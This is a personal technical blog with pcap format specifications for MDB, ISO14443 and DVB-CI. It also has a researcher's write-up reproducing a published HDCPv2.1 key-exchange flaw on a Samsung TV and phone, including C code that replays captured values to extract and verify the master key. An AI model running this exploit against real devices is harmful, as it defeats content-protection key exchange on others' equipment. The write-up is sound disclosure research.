kaiser.cx

PCAP format for MDB

Mon, 07 Aug 2023 00:00:00 +0000

Introduction

The MDB (Multi-Drop Bus) protocol is used inside a vending machine. MDBdefines the communication between the main control board (VMC = VendingMachine Controller) and peripheral components, e.g. a payment terminal or abill validator.

The VMC acts as bus master and sends a request to one peripheral at a time.A peripheral may send data only in response to such a request.

The MDB specification is maintained by the National Automatic MerchandisingAssociation (NAMA). As of August 2023, the current version of the MDBspecification is 4.3. It is available from
https://namanow.org/nama-releases-mdb-version-4-3/

Data Link Type

300 (DLT_MDB) was assigned for MDB.

For pcap files, this value shall be set in the global header’s networkfield. Pcapng defines an Interface Description Block, its LinkTypemust be set to this value.

Packet Data

The packet data consists of an MDB pseudo-header plus the captured MDB data.

pseudo-header	MDB data

pseudo-header

The pseudo-header has information about the type of the captured data.

field	length (bytes)	mandatory	description
version	1	yes	set to 0 for now
event	1	yes	see the table below
peripheral address	1	no	required only for event 0xFE

The peripheral address must be set in the header for packets from aperipheral to the VMC (packets from the VMC to a peripheral have theperipheral address in the MDB data). The possible values for peripheraladdress are defined in section 2.3 of the MDB specification, the xxx bitsin this definition should be set to 0.

event

The event byte may be set to one of the following values.

value	description	periph. address	MDB data
0xFF	data from VMC to peripheral	no	yes
0xFE	data from peripheral to VMC	yes	yes
0xFD	VMC initiated a bus reset	no	no

Examples

The VMC sends a vend request to the Cashless #1 peripheral.

pseudo-header	MDB data
0x00 0xff	0x13 0x00 0x00 0x3c 0x00 0x01 0x50

The Cashless #1 peripheral sends a response to the VMC and approves thevending operation.

pseudo-header	MDB data
0x00 0xfe 0x10	0x05 0x00 0x10 0x15

Questions, comments

Please send any questions or comments to ‘www(at)kaiser(dot)cx’

HDCPv2.1 AKE vulnerability

Sun, 03 Jan 2021 18:30:29 +0100

Introduction

HDCP (High-bandwith Digical Content Protection) is a framework for securetransmission of audio/video content between a transmitter and a receiver.Version 2.1 is based on TCP/IP, earlier versions used an HDMI connection.

HDCPv2 consists of several protocols

authentication and key exchange (AKE)
locality check
renewability (revocation)
calculation of the encryption key for streaming

and last but not least the streaming itself.

The American security researcher Matthew Green analyzed the HDCPv2.1specification and discovered a number of vulnerabilities. One of them isrelated to AKE.

The remainder of this text describes the steps I took to demonstrate this AKEvulnerability on commercially available devices.

AKE protocol, outline of the attack

The goal of AKE is to establish a shared key between transmitterand receiver, the so called master key k_m.

There’s two different sequences for the authentication, a short and a fullauthentication. The short authentication can be used for a transmitter andreceiver that have already authenticated before, it requires lesscomputational effort than the full authentication.

The attack discovered by Matthew Green allows an attacker to obtain themaster key for any transmitter-receiver pair. This is purely based on aweakness of the protocol design, it does not require a faulty/insecureimplementation.

This is the outline of the attack to obtain k_m for a transmitter andreceiver, a slightly modified version of Matthew’s original version.

Observe a legitimate HDCP authentication between the transmitter andreciever. If you captured a full authentication, extract r_tx andE_kh(k_m). For a short authentication, extract m and E_kh(k_m).r_tx is the upper 8 bytes of m. Additionally, capture the receiver’scertificate and the checksum H'.
Pretend to be a transmitter, start a full authentication with thereceiver.
Replay r_tx from step 1.
Use E_kh(k_m) as input, encrypt it using RSAEA-OAEP, using thethe RSA public key from the receiver’s certificate.
The AKE_Send_Pairing_Info message from the receiver contains k_m.
Verify the obtained k_m by calculating H and comparing with H' of thelegitimate authentication that was captured.

The picture below shows the difference between a full authentication and thefake authentication from steps 2-5.

Test setup

To test the scenario described above, we use a European Samsung TV setand a Samsung Galaxy SII smartphone. The TV acts as HDCP transmitter andstreams audio and video to the smartphone. Using Samsung’s SmartView appfor Android, the phone acts as HDCP receiver and presents theaudio/video content received from the TV. This feature is calledMultiview.

Finally, we add a PC to the network. It runs a DHCP server and a currentwireshark release that supports logging of HDCPv2 messages.

Capture a legitimate HDCP authentication

When the SmartView app is started on the phone, it does a DLNA devicediscovery. When the TV’s detected, there’s a number of steps for UPnP/DLNAsetup. One of them is the phone requesting the TV to initiate an HDCPauthentication.

The phone then starts an HDCPv2 server on TCP port 9999 and the TV performsthe AKE protocol as per the HDCPv2 specification. There’s noAKE_transmitter_info or AKE_receiver_info messages as the devices havealready detected each other using DLNA.

BTW it turned out to be quite difficult to force the two devices to run afull authentication. The TV would not delete a cached master key k_m after afactory reset.

$ tshark -r logging1.pcapng -R hdcp2246 11.435577000  192.168.1.5 -> 192.168.1.2  HDCP2 75 AKE_Init248 11.697900000  192.168.1.2 -> 192.168.1.5  HDCP2 590 AKE_Send_Cert, no repeater250 11.703639000  192.168.1.5 -> 192.168.1.2  HDCP2 99 AKE_Stored_km252 11.706692000  192.168.1.2 -> 192.168.1.5  HDCP2 75 AKE_Send_rrx254 11.748270000  192.168.1.2 -> 192.168.1.5  HDCP2 99 AKE_Send_H_prime

We’re interested in the AKE_Stored_km message.

$ tshark -r logging1.pcapng frame.number==250 -O hdcp2Frame 250: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0...Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 33HDCP2    Message ID: AKE_Stored_km (0x05)    E_kh_km: cdef65336923fa3e60eedd5ccefb3919    m: ad344f04d8e55a080000000000000000

To verify our findings later, we also need the AKE_Init andAKE_Send_H_prime messages.

$ tshark -r logging1.pcapng -R frame.number==246 -O hdcp2Frame 246: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) oninterface 0...Transmission Control Protocol, Src Port: 50730 (50730), Dst Port: distinct(9999), Seq: 1, Ack: 1, Len: 9HDCP2    Message ID: AKE_Init (0x02)    r_tx: 0x534f132bedb405ab$ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2Frame 254: 99 bytes on wire (792 bits), 99 bytes captured (792 bits) on interface 0...Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 50730 (50730), Seq: 534, Ack: 43, Len: 33HDCP2    Message ID: AKE_Send_H_prime (0x07)    H': 07690cb4274a6e2b7ba84b229d474773274797f9ad5aa3d7...$ tshark -r logging1.pcapng -R frame.number==254 -O hdcp2 -e hdcp2.h_prime -T fields07:69:0c:b4:27:4a:6e:2b:7b:a8:4b:22:9d:47:47:73:27:47:97:f9:ad:5a:a3:d7:17:f1:b7:82:1e:95:a8:e5

We extract the RSA public key (n and e) from the receiver’s certificate.

$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.n -T fieldse7:bc:f3:e0:66:79:11:09:5f:81:ff:47:8c:c0:13:54:12:4c:6d:32:11:d6:9a:e2:1d:22:25:4f:ce:b2:b7:15:56:5a:06:8f:f3:c5:ae:f3:11:9e:53:04:6e:c4:b5:e0:86:8a:d5:52:1f:37:b9:7a:fd:20:3c:f7:a7:c4:0e:2d:33:a4:42:94:b4:1b:06:8a:71:6d:8c:c5:5b:53:cc:ac:be:33:e5:2f:1e:d5:97:54:3c:2e:db:13:b8:d3:39:d8:df:b1:6d:8c:9b:a5:51:9d:81:06:85:b3:f4:4e:dd:f7:9d:29:ef:55:34:8a:ab:21:f7:60:c6:99:15:c2:db:87$ tshark -r logging1.pcapng -R frame.number==248 -e hdcp2.cert.e -T fields0x010001

Fake authentication

Prepare the calculations

From the captured m, we can derive r_tx==0xad3444f0dd8e55a08 to be usedfor the fake authentication. This will ensure that the phone will use exactlythe same m as in the captured authentication.

The next step’s a bit more tricky: We have to encrypt the E_kh(k_m)with RSAES-OAEP using SHA256 as hash function and MGF1 for maskgeneration, where MGF1 also uses SHA256 as its hash function. It turnedout that OpenSSL does not support this at the time of writing, MGF1 ishard-wired to SHA1. Libgrypt version 1.5 and later can do the OAEPcalculation required for HDCPv2.

See the following code snippet. The public key’s n and e were copied from thephone’s device certificate. Normally, the transmitters has to do the OAEPcalculating while the AKE protocol is being run. We can do this offlinebefore we run the fake authentication.

...#include <gcrypt.h>static const char pubkey_str[] ="(public-key\n"" (rsa\n""  (n #e7bcf3e0667911095f81ff478cc01354124c6d3211d69ae21d22254fceb2b715"      "565a068ff3c5aef3119e53046ec4b5e0868ad5521f37b97afd203cf7a7c40e2d"      "33a44294b41b068a716d8cc55b53ccacbe33e52f1ed597543c2edb13b8d339d8"      "dfb16d8c9ba5519d810685b3f44eddf79d29ef55348aab21f760c69915c2db87#)\n""  (e #010001#)\n"" )\n"")\n";static const char data_str[] ="(data\n""    (flags oaep)\n""    (hash-algo sha256)\n""    (label \"test\")\n""    (value #cdef65336923fa3e60eedd5ccefb3919#))\n";intmain (void){  int         ret;  gcry_sexp_t result, data, pub_key;  ret = gcry_sexp_sscan (&data, NULL, data_str, strlen(data_str));  assert(ret==0);  ret = gcry_sexp_sscan (&pub_key, NULL, pubkey_str, strlen(pubkey_str));  assert(ret==0);  ret = gcry_pk_encrypt(&result, data, pub_key);  assert(ret==0);  /* print out the result sexpression */  ...  return 0;}

The result of this calculation is the fake E_{kpub_rx}(k_m).

$ ./oaep_calculationres =0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, 0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF,0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, 0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39,0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, 0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF,0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, 0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1,0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, 0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0,0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, 0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB,0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, 0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73,0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, 0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5

Run the protocol

We’re now ready for kicking off our fake authentication from the test PC. Onething turned out to be a problem, however. The phone starts the HDCPv2 serveronly after it recognizes a TV set via DLNA. To avoid faking all DLNAmessages, we use the real TV and let the phone recognize the TV and start theMultiview. At this point, the phone provides the HDCPv2 server on TCP port9999 to any client, including our test PC.

The code snippet below shows that we don’t parse any of the phone’s returnmessages. Instead, we use wireshark to log the communication and do theparsing.

#define R_TX \0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab#define E_KPUB_KM \0xC9, 0xD0, 0xA0, 0xCF, 0x3D, 0xC0, 0xA2, 0x32, \0xF3, 0xD7, 0xDE, 0x82, 0xCC, 0x88, 0x6F, 0xAF, \0xD2, 0x10, 0x39, 0xE6, 0x5E, 0x6E, 0x08, 0xE8, \0xB9, 0x96, 0xCD, 0xCC, 0x23, 0x2E, 0xB2, 0x39, \0x8C, 0x11, 0xCF, 0x27, 0xC5, 0xBF, 0x0C, 0x9C, \0x83, 0xB4, 0x5F, 0x1B, 0x4E, 0x51, 0x02, 0xDF, \0x41, 0xE7, 0xFF, 0x40, 0x49, 0x12, 0xA1, 0xE4, \0xA7, 0x41, 0x83, 0x6A, 0x7C, 0xD8, 0xC7, 0xF1, \0x70, 0x85, 0x62, 0x90, 0x28, 0x9A, 0x38, 0x53, \0x02, 0x5F, 0xC6, 0x54, 0xD4, 0xED, 0x38, 0xB0, \0x53, 0x66, 0x81, 0x4D, 0x9B, 0xB5, 0x1F, 0x52, \0x2D, 0x02, 0x42, 0x81, 0xAA, 0x96, 0x76, 0xBB, \0x69, 0x4E, 0x63, 0x04, 0xF5, 0x5E, 0x44, 0x1A, \0xB2, 0xDD, 0x1F, 0x02, 0xFA, 0x8C, 0x05, 0x73, \0x74, 0x31, 0x8E, 0x45, 0x51, 0x10, 0x36, 0xC0, \0xAB, 0x97, 0xFA, 0xF5, 0x3D, 0x90, 0xB3, 0xC5int main(void){  int ret, s;  struct sockaddr_in srv;  unsigned char ake_init[] = {   0x02, /* msg_id */   R_TX  };  unsigned char ake_no_stored_km[] = {   0x04, /* msg_id */   E_KPUB_KM  };  unsigned char buf[1000];  s = socket(PF_INET, SOCK_STREAM, 0);  assert(s!=-1);  srv.sin_family = AF_INET;  srv.sin_port = htons (9999);  ret = inet_pton(AF_INET, "192.168.1.2", &srv.sin_addr);  assert(ret >= 0);  ret = connect(s, (struct sockaddr *)&srv, sizeof(srv));  assert(ret==0);  write(s, ake_init, sizeof(ake_init));  read (s, buf, sizeof(buf));  /* read ake_send_cert */  write(s, ake_no_stored_km, sizeof(ake_no_stored_km));  read (s, buf, sizeof(buf));  /* read ake_send_rrx */  read (s, buf, sizeof(buf));  /* read ake_h_prime */  read (s, buf, sizeof(buf));  /* read ake_pairing_info */  return 0;}

Here’s the wireshark log of the fake authentication.

$ tshark -r revert1.pcapng -R hdcp24960 20.957347000  192.168.1.254 -> 192.168.1.2   HDCP2  75 AKE_Init5042 21.378931000  192.168.1.2   -> 192.168.1.254 HDCP2 590 AKE_Send_Cert, no repeater5044 21.379112000  192.168.1.254 -> 192.168.1.2   HDCP2 195 AKE_No_Stored_km5046 21.387232000  192.168.1.2   -> 192.168.1.254 HDCP2  75 AKE_Send_rrx5132 21.676139000  192.168.1.2   -> 192.168.1.254 HDCP2  99 AKE_Send_H_prime5134 21.677848000  192.168.1.2   -> 192.168.1.254 HDCP2  83 AKE_Send_Pairing_Info

AKE_Init contains our replayed r_tx

$ tshark -r revert1.pcapng -R frame.number==4960 -O hdcp2Frame 4960: 75 bytes on wire (600 bits), 75 bytes captured (600 bits) on interface 0...Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct(9999), Seq: 1, Ack: 1, Len: 9HDCP2    Message ID: AKE_Init (0x02)    r_tx: 0xad344f04d8e55a08

and AKE_No_Stored_km contains the OAEP-encrypted value we calculated above

$ tshark -r revert1.pcapng -R frame.number==5044 -O hdcp2Frame 5044: 195 bytes on wire (1560 bits), 195 bytes captured (1560 bits) oninterface 0...Transmission Control Protocol, Src Port: 59500 (59500), Dst Port: distinct (9999), Seq: 10, Ack: 525, Len: 129HDCP2    Message ID: AKE_No_Stored_km (0x04)    E_kpub_km: c9d0a0cf3dc0a232f3d7de82cc886fafd21039e65e6e08e8...

Therefore, AKE_Send_Pairing_Info should contain the master key k_m forthe TV and the phone. It’s called E_kh(k_m) here, but it’s actually k_m :-)

$ tshark -r revert1.pcapng -R frame.number==5134 -O hdcp2Frame 5134: 83 bytes on wire (664 bits), 83 bytes captured (664 bits) oninterface 0...Transmission Control Protocol, Src Port: distinct (9999), Dst Port: 59500 (59500), Seq: 567, Ack: 139, Len: 17HDCP2    Message ID: AKE_Send_Pairing_Info (0x08)    E_kh_km: 2877f884625837fbc1da9ab40e5ad037

Verify that the master key is correct

In order to verify that we actually have the master key k_m, we go back tothe original capture and calculate H. This value must match the H' that thephone sent in the AKE_Send_H_prime message in frame 254.

Here’s another code snippet for the calculation of H==H', using OpenSSL.The function kd() calculates dkey₀|dkey₁ by running two separate AESCTR encryptions. The input data for both encryptions is eight 0x00bytes. The init vectors are r_tx|0…0 and r_tx|0…01, respectively.

dkey₀|dkey₁ is then used as key for HMAC-SHA256(r_tx). The result is H.

#include <openssl/evp.h>#include <openssl/hmac.h>#define R_TX \   0x53, 0x4f, 0x13, 0x2b, 0xed, 0xb4, 0x05, 0xab#define K_M \ 0x28, 0x77, 0xf8, 0x84, 0x62, 0x58, 0x37, 0xfb, \ 0xc1, 0xda, 0x9a, 0xb4, 0x0e, 0x5a, 0xd0, 0x37#define NULL_BYTES \   0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00#define KD_SIZE 32unsigned char *kd(void){   EVP_CIPHER_CTX ctx;   unsigned char km[] = { K_M };   unsigned char *buf = malloc(KD_SIZE);   unsigned char iv[] = { R_TX, NULL_BYTES };   unsigned char input[] = { NULL_BYTES, NULL_BYTES };   int ret;   unsigned char tmp[100];   int outl;   memset(buf, 0x0, KD_SIZE);   EVP_CIPHER_CTX_init(&ctx);   ret = EVP_EncryptInit_ex(&ctx, EVP_aes_128_ctr(), NULL, km, iv);   assert(ret == 1);   ret = EVP_EncryptUpdate(&ctx, buf, &outl, input, sizeof(input));   assert(ret == 1);   assert(outl == sizeof(input));   ret = EVP_EncryptFinal_ex(&ctx, tmp, &outl);   assert(ret == 1);   assert(outl == 0);   iv[sizeof(iv)-1] = 0x01; /* iv is now r_tx|0...01 */   ret = EVP_EncryptInit_ex(&ctx, EVP_aes_128_ctr(), NULL, km, iv);   assert(ret == 1);   ret = EVP_EncryptUpdate(&ctx, &buf[16], &outl, input, sizeof(input));   assert(ret == 1);   assert(outl == sizeof(input));   ret = EVP_EncryptFinal_ex(&ctx, tmp, &outl);   assert(ret == 1);   assert(outl == 0);   ret = EVP_CIPHER_CTX_cleanup(&ctx);   assert(ret == 1);   return buf;}int main(void){   HMAC_CTX ctx;   unsigned char res[200];   unsigned int resLen;   /* input == r_tx XOR REPEATER, but REPEATER==0 */   unsigned char input[] = { R_TX };   HMAC_CTX_init(&ctx);   HMAC_Init_ex(&ctx, kd(), KD_SIZE, EVP_sha256(), NULL);   HMAC_Update(&ctx, input, sizeof(input));   HMAC_Final(&ctx, res, &resLen);   /* print the result buffer */   HMAC_CTX_cleanup(&ctx);   return 0;}

Let’s run the calculation of H

$ ./hprimeres ==0x07, 0x69, 0x0c, 0xb4, 0x27, 0x4a, 0x6e, 0x2b, 0x7b, 0xa8, 0x4b, 0x22, 0x9d,0x47, 0x47, 0x73, 0x27, 0x47, 0x97, 0xf9, 0xad, 0x5a, 0xa3, 0xd7, 0x17, 0xf1,0xb7, 0x82, 0x1e, 0x95, 0xa8, 0xe5,

This is identical to the H' that the phone sent for the capturedauthentication. In other words, we have the master key k_m :-))

Please note that this is not sufficient for decrypting the transmitedaudio/video content between the two devices. This would require that we knowthe license constant lc₁₂₃, which is available only to HDCP licensees.

Current status

The HDCP specification was updated to version 2.2.

Samsung released an updated version of their SmartView application onAugust 30th.

Questions, comments

Please send any questions or comments to 'www(at)kaiser(dot)cx'

PCAP format for ISO14443

Sat, 02 Jan 2021 19:47:04 +0100

Introduction

ISO14443 is a series of standards describing the interface between acontactless smartcard (PICC == Proximity Integrated Circuit Card) and acard reader (PCD == Proximity Coupling Device). Contactless smartcardsare used e.g. for payment, ticketing and entrance control.

This page defines a format to store captured ISO14443 data in a pcap ora pcapng file.

Data Link Type

264 (DLT_ISO_14443) was assigned for ISO14443.

For pcap files, this value shall be set in the global header’s networkfield. Pcapng defines an Interface Description Block, its LinkTypemust be set to this value.

Time stamps

Time stamps must be set as required by the pcap or pcapngspecifications.

Not all ISO14443 capturing hardware may be capable of delivering timestamps. In this case, the software that writes the pcap(ng) files has tofill in reasonable values.

Packet Data

The packet data consists of an ISO14443 pseudo header plus the capturedISO1443 data.

pseudo header

data

pseudo-header

The pseudo-header has information about the type of the captured data.

struct iso1443_header {    u_int8_t    version;    u_int8_t    event;    u_int16_t   len;} __attribute__((__packed__));

version is set to 0 for now
event describes the captured event, the possible values are listed below

event name	value	description
DATA_PICC_TO_PCD	0xFF	data transfer from the card to the reader
DATA_PCD_TO_PICC	0xFE	data transfer from the reader to the card
FIELD_OFF	0xFD	the reader switches the electrical field off
FIELD_ON	0xFC	the reader switches the electrical field on
DATA_PICC_TO_PCD_CRC_DROPPED	0xFB	data transfer from the card to thereader, the hardware did not capture the CRC bytes
DATA_PCD_TO_PICC_CRC_DROPPED	0xFA	data transfer from the reader tothe card, the hardware did not capture the CRC bytes

len is the length of the bytes following the pseudo header. It’s stored innetwork byte order (big endian).

data

The data following the iso1443_header depend on iso1443_header.event

FIELD_OFF or FIELD_ON

For these events, the data part is empty. iso14443_header.len must be set to 0.

DATA_PICC_TO_PCD or DATA_PCD_TO_PICC

The data part contains one of the following elements

a short frame as defined in ISO14443-3, section 6.2.3.1
a standard frame as defined in ISO14443-3, section 6.2.3.2
a bit-oriented anticollision frame (ISO14443-3, section 6.2.3.3)
a frame used by type B cards (ISO14443-3, section 7.1.3)
an activation command (ISO14443-4, section 5.1 and 5.2)
an I-, R- or S-block as defined in section 7.1 of the ISO14443-4 standard

Short frames, standard frames and bit-oriented anticollision frames arestored as a sequence of bytes without start, end and parity bits. Ashort frame is only 7bits, it’s encoded as one byte with bit 8 set to 0.

The frame for type B cards is also stored as a sequence of bytes, theSOF and EOF bits are not included.

If the frame contains two trailing CRC bytes, they must be included inthe captured data.

DATA_PICC_TO_PCD_CRC_DROPPED or DATA_PCD_TO_PICC_CRC_DROPPED

Those two events are defined for capturing hardware that is not able tocapture the trailing CRC bytes that are part of most ISO14443 messages.

The data part is the same as for DATA_PICC_TO_PCD or DATA_PCD_TO_PICCwith the exception that the two trailing CRC bytes are missing.

Examples

A WUPA command sent by the reader to check if a card is present. AWUPA is sent in a short frame.

0x00 0xFE 0x00 0x01 0x52

The card sends an I-block to the reader.(The I-block contains an APDU fragment.)

0x00 0xFF 0x00 0x10 0x12 0x00 0xA4 0x040x00 0x50 0x31 0xE5 0x03 0x04 0x05 0x060x07 0x08 0xE8 0xBF

Questions, comments

Please send any questions or comments to 'www(at)kaiser(dot)cx'

PCAP format for DVB-CI

Sat, 02 Jan 2021 19:41:45 +0100

Introduction

This page defines a format to store captured DVB-CI (Common Interface)data in a pcap or a pcapng file. The wireshark dissector for DVB-CI usesthis format as its input data.

Global Header

235 (DLT_DVB_CI) was assigned for DVB-CI.

For pcap files, this value shall be set in the global header’s networkfield. Pcapng defines an Interface Description Block, its LinkTypemust be set to this value.

Time stamps

Time stamps must be set as required by the pcap or pcapngspecifications.

Not all DVB-CI capturing hardware may be capable of delivering timestamps. In this case, the software that writes the pcap files has tofill in reasonable values.

Packet Data

The packet data consists of a DVB-CI pseudo header plus the DVB-CI data.

pseudo header

data

pseudo-header

The pseudo-header has information about the type of the captured data.

struct dvbci_header {    u_int8_t    version;    u_int8_t    event;    u_int16_t   len;} __attribute__((__packed__));

version is set to 0 for now
event describes the captured event, the possible values are listed below

event name	value	description
DATA_CAM_TO_HOST	0xFF	data transfer from CI Module to Host
DATA_HOST_TO_CAM	0xFE	data transfer from Host to CI Module
CIS_READ	0xFD	Host reads the Card Information Structure (CIS)
COR_WRITE	0xFC	Host writes the configuration option register (COR)
HW_EVT	0xFB	hardware event

len is the length of the bytes following the pseudo header. It’s stored innetwork byte order (big endian).

data

The data following the dvbci_header depend on dvbci_header.event

DATA_HOST_TO_CAM or DATA_CAM_TO_HOST

if dvbci_header.len == 2

2 bytes buffer size

The buffer size protocol is defined in the DVB-CI specification,annex A.2.2.1.1. It is used for negotiating the maximum size ofsubsequent link layer messages (LPDUs). The CI module proposes a size,the host compares the proposal with its maximum supported size andsends back the highest value supported by both ends.

if dvbci_header.len >= 3

a DVB-CI LPDU as defined in the DVB-CI specification, figure A.3, page 62

1 bytes transport connection id

1 byte more/last

TPDU fragment

transport connection id is a value > 0. The more/last byte is 0x00if the LPDU is the last fragment or 0x80 if more fragments follow. Theremainder of the LPDU is filled with a fragment of a transport layermessage (TPDU), this part shall not be empty.

(The size of an LPDU is defined during the data transfer by writing to asize register, therefore it contains no length field.)

CIS_READ

The Card Information Structure (CIS) of the CI module. The CIS isdefined in volume 4 (metaformat) of the PC-Card specification. A CISconsists of tuples using the following format, the last tuple hastuple code 0xff and no length and body.

1 byte tuple code

1 byte length field

length field bytes tuple body

The CIS must start at the beginning of the data buffer. The data buffermust include the complete CIS. If a capture tool can’t determine thelength of the CIS, the capture may include random data after the end ofthis CIS.

COR_WRITE

2 bytes COR address

1 byte COR value

The address of the Configuration Option Register (COR) is in network byteorder. According to the DVB-CI specification annex A 5.6, 5, the COR addressshall not be greater than 0xFFE. If a capture tool doesn’t log the CORaddress, it may set the address bytes to 0xFF 0xFF instead.

HW_EVT

8 bit for the event type according to the following table

event name	value	description
CAM_IN	0x01	CI Module is inserted into the slot
CAM_OUT	0x02	CI Module is removed from the slot
POWER_ON	0x03	CI Module is powered on
POWER_OFF	0x04	CI Module is powered off
TS_ROUTE	0x05	DVB Transport Stream is routed through the CI Module
TS_BYPASS	0x06	DVB Transport Stream bypasses the CI Module
RESET_H	0x07	Reset Pin goes into High state
RESET_L	0x08	Reset Pin goes into Low state
READY_H	0x09	Ready/IRQ# Pin goes into High state
READY_L	0x0A	Ready/IRQ# Pin goes into Low state

The events for the Reset and Ready/IRQ# pins reflect the actual voltagelevel on the line.

Examples

This is the Packet Data when the CI Module is removed from the slot

0x00 0xFB 0x00 0x01 0x02

The host sends data to the CI Module. The data part in this example containsan LPDU that is 5 bytes long.

0x00 0xFE 0x00 0x05 0x01 0x00 0xa0 0x01 0x01

Questions, comments

Please send any questions or comments to 'www(at)kaiser(dot)cx'

kaiser.cx

PCAP format for MDB

Introduction

Data Link Type

Packet Data

pseudo-header

event

Examples

Links

Questions, comments

HDCPv2.1 AKE vulnerability

Introduction

AKE protocol, outline of the attack

Test setup

Capture a legitimate HDCP authentication

Fake authentication

Prepare the calculations

Run the protocol

Verify that the master key is correct

Current status

Links

Questions, comments

PCAP format for ISO14443

Introduction

Data Link Type

Time stamps

Packet Data

pseudo-header

data

FIELD_OFF or FIELD_ON

DATA_PICC_TO_PCD or DATA_PCD_TO_PICC

DATA_PICC_TO_PCD_CRC_DROPPED or DATA_PCD_TO_PICC_CRC_DROPPED

Examples

Links

Questions, comments

PCAP format for DVB-CI

Introduction

Global Header

Time stamps

Packet Data

pseudo-header

data

DATA_HOST_TO_CAM or DATA_CAM_TO_HOST

if dvbci_header.len == 2

if dvbci_header.len >= 3

CIS_READ

COR_WRITE

HW_EVT

Examples

Links

Questions, comments